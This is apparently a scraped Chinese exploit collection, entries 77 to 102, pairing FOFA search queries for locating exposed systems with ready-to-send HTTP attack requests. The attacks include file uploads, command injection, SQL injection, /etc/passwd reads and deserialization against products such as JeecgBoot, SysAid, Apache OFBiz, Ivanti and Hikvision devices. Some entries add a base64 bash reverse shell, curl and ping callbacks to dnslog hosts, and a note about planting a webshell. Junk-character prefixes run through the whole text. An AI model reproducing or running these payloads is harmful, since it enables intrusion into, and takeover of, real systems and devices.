; `8 q5 S0 J' z7 y$ H5 t0 D
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



7 E+ ~1 S6 M$ B) C7 C3 o1 |77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
$ I$ m. c. q8 O. p! yPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
* a" R7 o' j7 b9 Z! o% d% ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
1 `2 u( F4 k8 Z4 S( ]) \Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
  i0 r! R7 p5 CAccept-Language: zh-CN,zh;q=0.9
" O8 v7 Q" L! h# z$ S* ~Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
, Y! w. e# [2 v
4 c" j9 m7 q/ w/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
  u6 [8 v) M, E( EContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
7 V1 E$ x7 d. Z. K& w; E& B------------398jnjVTTlDVXHlE7yYnfwBoix
) y0 c2 I' X7 n% f  b  X0 ~  qContent-Disposition: form-data; name="Upload"

Submit Query
1 T& y% W  u/ k+ L# J/ L8 r" V: N/ M------------398jnjVTTlDVXHlE7yYnfwBoix--
# K( W9 u  C* s3 X
% t  f! s( u- V3 e" ^; R9 _7 v' I
+ p% I  b0 q/ O% b( o, o$ a78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
' h* y# p; k7 hFOFA：icon_hash="2001627082"
9 A+ Q  F/ n! M9 S" L9 d( F/ JPOST /Platform/System/FileUpload.ashx HTTP/1.1
) m$ D9 g# `. s) a& `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 M% o8 K* H' m! k' @Connection: close
; r; ]1 B) E5 z2 B) ^( XContent-Length: 336
. }8 G  {6 b6 u% VAccept-Encoding: gzip
% V$ v. A: |. F! HContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
4 k( g: s- `" s: e* I: R! q. _2 T' b
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
: ~/ F" c& A4 m( y% f. p
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
- W2 Y" V+ Q4 W, I8 r. m9 i------YsOxWxSvj1KyZow1PTsh98fdu6l--
  V- e; t% Q1 J- M7 i3 b

( J/ B: t) {3 m3 ?+ U0 L! zGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
% T# y# o' d' P3 o9 t4 aHost: x.x.x.x


9 Y9 X0 H7 `! t* L/ V79. BYTEVALUE 百为流控路由器远程命令执行
( C, h. q! S1 LFOFA：BYTEVALUE 智能流控路由器
. X% u5 S3 `! JGET /goform/webRead/open/?path=|id HTTP/1.1
1 i) P8 O! x, J, r( |Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 D/ a5 a3 B' Z9 DConnection: close
. j) S, z1 ~  ]% H8 x) ?Upgrade-Insecure-Requests: 1
2 Z# u% F" B  ~

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
- P" s+ j; T8 v% cPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
# z1 e7 D- s8 y) CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 X' o# T) o# X! aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
2 I2 ^$ f" J2 g& k& H2 iUpgrade-Insecure-Requests: 1
) M4 z: ?: I1 ]+ `8 n) C
7 f4 `! Q' K' U4 o1 `3 W( K* u<% out.print("oessqeonylzaf");%>
: }! O" k/ l$ V9 z0 \* k  r: C
; _0 C# l9 [5 Y2 n- F( t
GET /xykqmfxpoas.jsp HTTP/1.1
% F7 x5 S/ @  \5 p; `! {, _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- `: I2 u! x) iAccept-Encoding: gzip
% q0 A! {9 w% a

* m" n( E7 ~6 l5 E& b. m2 b' p81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ |( o6 ^, H. O7 L! OFOFA：app="uniview-视频监控"
+ }  P( i8 G% N, e* Z( TGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
$ \; e  P; F5 ]0 [7 a& BHost: x.x.x.x
' q: B& y7 \6 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! I9 f/ I4 ~) Q9 T; W$ FConnection: close
Accept-Encoding: gzip

1 {8 ^* t, Y9 o+ R
5 M" L4 R& Q- u( U5 _82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
0 ~* a: K. b! A3 Q" a% q4 J+ {POST /bhost/test_qrcode_b HTTP/1.1
5 f( _" D$ }* u3 \& @: b) xHost: BaseURL
User-Agent: Go-http-client/1.1
* F% S8 r2 c; j& k( s  k0 \8 GContent-Length: 23
Accept-Encoding: gzip
$ T* \4 S0 m9 dConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
1 l' B! o3 W5 Q' v/ C5 r7 @& V
4 M" w' n  n) O( |  m. Z
/ Z  ^! n; G+ y2 l0 }: y- p  s3 r83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
8 p+ R, ?5 I( V
4 m5 S( j( c+ f; ^2 \) W
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' g" f+ b. e8 U7 T/ J5 ]Connection: close
Content-Length: 8881
1 K6 D  E  ^# n- aAccept-Encoding: gzip
/ g$ Z( q" {0 D5 h* n5 [$ ]Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
' z3 z3 g0 g2 K/ e/ M1 X0 N
0 Y+ e. W& U* z2 P9 f, tPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


2 O8 @* H- K( j, r# Q7 G7 l
6 J, U. _/ r7 M' jPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
1 y* J9 y8 v' M1 Y1 g6 d$ EUser-Agent: curl/7.88.1
Content-Length: 156
( P) B' ?6 H/ A( ]1 v4 l+ KAccept: */*
: E" ^4 m8 Q' QConnection: close
* |" q  z+ \- o. g: I( dContent-Type: application/json
Accept-Encoding: gzip

+ z; L& A' E) u4 g* Y, ~2 a{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
6 J' a+ x. P2 S7 y' `) J  "type": "0"
" t; a  ?. A; i0 v}

( w8 [. s2 }5 u) y0 y$ s- q" y) S0 o
2 f  b0 U7 H3 |85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
2 Y* N1 k- F' v2 L8 _& tEXP数据包如下，注入哥斯拉马
4 L, u- j4 p2 ?! D/ HPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
$ k3 h  c6 I5 d7 s3 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
% p8 f0 f* s( A9 L  k+ O, _) KAccept-Encoding: gzip
& r7 ^+ r$ r. [# M) ?* p1 B
" g3 ~! U: Z( }* B" s! K$ PPAYLOAD

5 W- a+ D& E) R% k( H% h回显URL：http://x.x.x.x/userfiles/index.jsp
  B3 \: A4 E; w
' F& X. w6 B6 |; Z86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
# C2 C" \+ ~* ]  ~% A: HConnection: close
1 {4 l  k: V# J3 `Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
  r& l1 f+ l; n1 q! Q) D% HContent-Type: application/x-www-form-urlencoded
5 g! u9 y) C7 h7 v0 o% i
5 [* F; G2 T3 z! d- h* Whost=%0acat${IFS}/etc/passwd%0a&command=ping

& j$ ]' q) {9 E% E2 Q
87. 安恒明御安全网关aaa_local_web_preview文件上传
) W; I. L- ~' j1 Q& {. B! m6 Y" UFOFA：title="明御安全网关"
$ Y( z& B0 K3 M& F7 p. ^2 CPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
3 `1 L/ [9 F( eHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; r% I9 u, Y& N) D; gConnection: close
: K" S" b0 n7 Y) }  u% fContent-Length: 198
) @( n4 T2 F; X  RAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
) u) f* B2 L$ o9 n" ~+ ~! @
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
1 S; ^. g  z# q1 [) GContent-Type: text/plain

, F& w7 O6 G; j0 m& c2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
. N% A5 }/ g/ Z

/jfhatuwe.php

9 ?! R. g, u0 @( \4 }5 E# r( w, Q88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: ^& ]+ l4 A  \5 M; _FOFA：title="明御安全网关"
- N# }" x# n5 ?- vGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
2 S  r( Y3 }+ B9 C8 d  s* JHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
! d7 {4 V8 k8 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


6 x9 c) o: ?2 k8 r; ?  _/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
% s* N9 e0 d! d) f. j! `6 ^FOFA：title="FE协作办公平台" || body="li_plugins_download"
8 z" h9 W/ P2 j" ]# mPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
/ |5 `: s4 Z! FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' Q& t0 q: d7 y% x0 z$ jConnection: close
Content-Length: 41
. \! w1 e7 j0 C6 V) g0 cContent-Type: application/x-www-form-urlencoded
3 `# p/ k( a4 @$ N5 ~' a8 ZAccept-Encoding: gzip
9 W+ n7 z1 Q6 {/ |5 O+ \/ a* a( l0 D
option=2&GUID=-1'+union+select+111*222--+


6 d+ n" v, }# }9 `/ N7 e6 ~90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
9 C2 B1 e7 b5 p( e- D$ Q% eHost: x.x.x.x
6 C/ h9 e  ]# W" ]. h  sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
, X; H! S. Q9 i) K7 _Content-Length: 51
) S5 j( ~. K7 i# g2 T2 kAccept: application/json, text/javascript, */*; q=0.01
5 G( m* h' [! {% EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
+ v" N2 ?( }/ G+ ]( _9 z( q
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

( C2 K; @8 w% S; O5 _5 V
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
  C! M* T1 X1 I+ f5 J( C9 fGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
) x% H8 g9 w: J, [3 X3 S# s4 tHost: your-ip
/ u1 D$ u  ^9 l9 B; |- uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/ `* ]( v7 H& Z* c
  v# J: u0 q8 k) E

92. 海康威视运行管理中心session命令执行
3 ?* R# g; X2 \  c( q% t" X' v' `1 t; K0 |Fastjson命令执行
7 I9 [" r( u7 o: {. fhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
6 ~8 _/ J& {6 G. ]- q; pHost:
9 A3 h! W+ z* l* ^Accept: application/json, text/plain, */*
$ F( Q' r3 q# y+ ^" M* nAccept-Encoding: gzip, deflate
: b. W( V" b) T. H9 @, TX-Requested-With: XMLHttpRequest
8 C% y8 p2 ^) F4 Q" v8 MContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
! b$ P7 h8 ?+ q) c5 {Testcmd: echo test
. f: d: }9 ]% Y9 I2 B  `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
3 F# m5 n. T! n8 Z! c6 l6 qContent-Length: 5778
" F. Z$ }5 @/ u
PAYLOAD


9 ~1 a$ e" R' }+ z) V93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- w7 A) s& m# g: K* \. J) `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 q" l& t; q) d% Y  ?
# u2 K  `) `) O------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
. u1 T$ z: I/ H, z: E' R
10000000
------WebKitFormBoundarykcbkgdfx
) b* ~6 O! P  e' n" F) UContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
2 ]# f3 `) o  G3 t+ V------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
/ O# }+ U  N0 Z
obj_app_upfile
3 J7 ^/ v" U* t& `------WebKitFormBoundarykcbkgdfx
6 X. ?7 t5 F$ @- Y! `Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
6 S) \& L1 g1 G  l) i' g------WebKitFormBoundarykcbkgdfx--
  J. K. f% l# t# ?* j0 O" i

GET /attachements/xlskxknxa.txt HTTP/1.1
4 a0 S6 y; |3 T) V2 n, h: L4 H. EHost: xx.xx.xx.xx
8 y1 q0 \; M) jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

' U! g/ B9 Q* `( V# i2 ~
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
& X; R; v8 ~" v0 K, f% ~FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
, G" p: F$ l, i) q; jPOST /?g=obj_area_import_save HTTP/1.1
3 }3 L0 `& L7 _Host: x.x.x.x
" G1 B  V- J8 I/ O8 N% S4 hContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
. X: j4 V) n: ^* ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* j( e" v- o, A
) ^6 n6 x* D" q) H------WebKitFormBoundarybqvzqvmt
# Q7 z1 G  [. t2 \Content-Disposition: form-data; name="MAX_FILE_SIZE"
/ ]# h, @3 b, v( U" ^& l4 K+ H
10000000
------WebKitFormBoundarybqvzqvmt
7 l4 Y8 d6 N" Q7 h( _Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
- |" i; E# Z9 F: o* E% B0 S% p
pxplitttsrjnyoafavcajwkvhxindhmu
9 n; j% @$ L: t+ r------WebKitFormBoundarybqvzqvmt
5 F7 p9 K- S  [2 o+ aContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

2 c8 k) `3 Z% B& x0b9d6b1ab7479ab69d9f71b05e0e9445
9 H$ L( ?3 t& @* a& m% B------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
+ C' F! `% O. v0 W3 Z! Y  bHost: xx.xx.xx.xx
+ @1 `! J# [9 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 f( z. i& X- y+ J, M
0 }+ u4 z+ L) ?3 |7 g
: n0 b# o1 K$ w& }! q4 e
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
( Q; B. n# M8 u* E( bFOFA：app="Apache_OFBiz"
; x4 t" |! C7 r1 Z7 EPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
9 Y; ]3 {/ U# ^' z, |9 E) BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 L4 s. Y/ p/ s( |$ AConnection: close
Content-Length: 889
* g+ ^* T1 @5 L: X" QContent-Type: application/xml
Accept-Encoding: gzip
0 ~, A. A2 }5 @, D% f+ \
<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
1 h! x4 l! c, s- m      <value>
/ `+ |% g9 ~- P        <struct>
       <member>
          <name>test</name>
3 f6 e3 e5 ], ?# F) g! \          <value>
: a4 d  ^1 ?6 c7 ]% Q      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
7 X8 [; v& X  h" |      </value>
9 t. l5 ?  _5 l& S: T* @    </param>
# ^8 J/ y" F' n/ s" L6 m) S    </params>
</methodCall>
5 e% o' k: U/ \# Q8 }& C7 y1 G' y2 w

4 e. j9 V+ Z2 W- }7 z5 G3 i用ysoserial生成payload
9 h% Z2 n( [; j) N1 Bjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
# G) [, m# |/ N) \
# C$ H* w# p6 W% b3 x1 Y9 q
4 z" S; o4 ~6 `, |. m将生成的payload替换到上面的POC
9 |; `# D6 V$ Y& x, PPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
4 h7 }4 J+ N  X3 D' ^Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ u, m' n9 H, W) {8 XContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
' M! W9 [) a. E) i9 }2 n
  p9 t# o, L" s) B- bPAYLOAD
) H' P) [. H: y3 k; r6 f5 s# ?9 D7 b
1 U% n6 S) U6 s$ L( W6 L$ F2 v) `96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, L0 _# J6 X) g( [% L- v% kHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
- G  z# D) v0 D/ s: S( pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
3 I+ |0 y5 b+ N& K3 i) M) s8 R8 U& WContent-Length: 55

& q9 x5 d. |4 [- BgroovyProgram=throw+new+Exception('id'.execute().text);

8 {0 I8 {4 f& }- ]- O# ]5 g; r) u
" E# _$ b2 K, i, ?/ c; T+ e- |反弹shell
$ N$ `' [$ `  B; f在kali上启动一个监听
nc -lvp 7777
5 l! C. {: N, l! F
! I( z' z5 \0 H2 LPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: ~1 U& H. O1 U: v9 ^" vHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 a3 T+ e4 d2 ?. \' UAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
  Z3 R* [8 M% a5 FContent-Length: 71
5 d% @" w. l, E0 N
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
' C, a8 Q5 i4 d+ O" y  z; F- LGET /passport/login/ HTTP/1.1
+ B# K* x& g/ T; J. }/ EHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
8 u' q: m" R4 S8 P- B

; S9 H% d  {$ b( t) ~98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
( U, t9 P8 h; W; j1 R) _- ]FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
3 ]4 e# p4 H" t7 XHost: 192.168.40.130:8088
( m9 _" u' L) _5 ~7 I- PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
& S! y1 }& \4 K3 u6 w; h- JAccept: */*
+ [) V2 b! z* ^) h) }+ c4 [Accept-Encoding: gzip, deflate
. e7 M* \. m+ ]( J. dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

, j* ~5 d8 V5 ^3 @id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


( N2 |8 O: {# k$ z8 `+ m  X99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
0 X% L, Y" k) [' T, U5 X6 CFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
. T! p. L/ K' b$ N+ O& d# T1 G; FHost: 192.168.40.130:8080
4 a' n1 Z* _7 J0 x3 [8 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
, `: ^$ K7 k* f9 a; p2 e: N! RContent-Length: 154
- {+ O3 `. c7 b$ O  HAccept: */*
Accept-Encoding: gzip, deflate
: W/ W8 U  n4 e6 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 t' L- o6 c, KX-Requested-With: XMLHttpRequest

: V, L9 O6 d8 u2 R# m%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

- y) J  a1 B! u, T/ e
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* [) _+ j* ~% e/ E( xCVE-2024-0352
1 ?) B" `( I9 T( aFOFA：icon_hash="874152924"
8 g( s) F: _6 G: vPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
6 J$ G1 d2 [8 _# o) MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
- s5 F0 x+ y3 z8 t9 s! M( C
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" t& z$ ?% F; g# ?1 X7 u
9 `; u% K4 a& x+ u2ayyhRXiAsKXL8olvF5s4qqyI2O
/ H: G7 r1 F( u# _; e( M; H0 T' f------WebKitFormBoundarygcflwtei--


3 S0 U* v: ], N6 }) w+ g9 m! L8 L# @) I101. ivanti policy secure-22.6命令注入
CVE-2024-21887
& c- G' @6 @; dFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
5 H' Y8 c! L6 T$ h: eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! F0 X6 L8 X) j7 ]  o/ q( `Connection: close
3 c5 [6 l( C) C# v4 C) I' q# X: sAccept-Encoding: gzip
0 G/ v6 s2 l6 J. t0 [2 w

! R. i* r( N( E* C1 y/ t102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
/ M, v9 Q) n* w6 ~7 O4 x* L2 {CVE-2024-21893
& ~. F) m( F0 X, t. O0 D" h8 h' vFOFA：body="welcome.cgi?p=logo"
3 }! z' w+ ?/ e. z7 m2 J" nPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
2 m0 m1 [6 _6 x! R) A
